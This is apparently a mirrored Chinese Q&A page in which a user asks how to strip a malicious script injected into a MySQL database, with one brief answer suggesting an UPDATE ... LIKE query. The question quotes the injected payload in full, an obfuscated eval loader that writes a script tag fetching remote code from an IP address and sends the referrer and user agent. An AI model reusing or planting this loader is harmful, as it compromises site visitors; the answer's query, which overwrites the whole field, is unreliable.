如何在MySQL中替换包含特殊字符的长字符串

时间:2018-07-16 17:27:51

标签: mysql sql string special-characters

我想替换一个注入数据库的字符串。

这是字符串:

<noindex>
<script id="wpinfo-pst1" type="text/javascript" 
rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};
 if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e)
 {return d[e]}];e=function(){return'\w+'};c=1};
while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}
('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'>
<\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write
|http|45|67|script|text|rel|nofollow|type|97|
language|jquery|userAgent|navigator|sc|ript|tshbz|var|u0026u
|referrer|ikzyy||js|php'.split('|'),0,{}))
</script></noindex>

我尝试过

UPDATE MYTABLE
SET content = REPLACE(content, 'I PUT STRING ABOVE HERE', '')

但是我收到mysql错误,我尝试通过添加反斜杠来转义特殊字符,但这没用。

如何搜索和替换上面的字符串?

1 个答案:

答案 0 :(得分:0)

尝试使用查询

Update mytable set content= " " where content like "<matching string to be replaced>"

也可能需要此链接Regexp in MySQL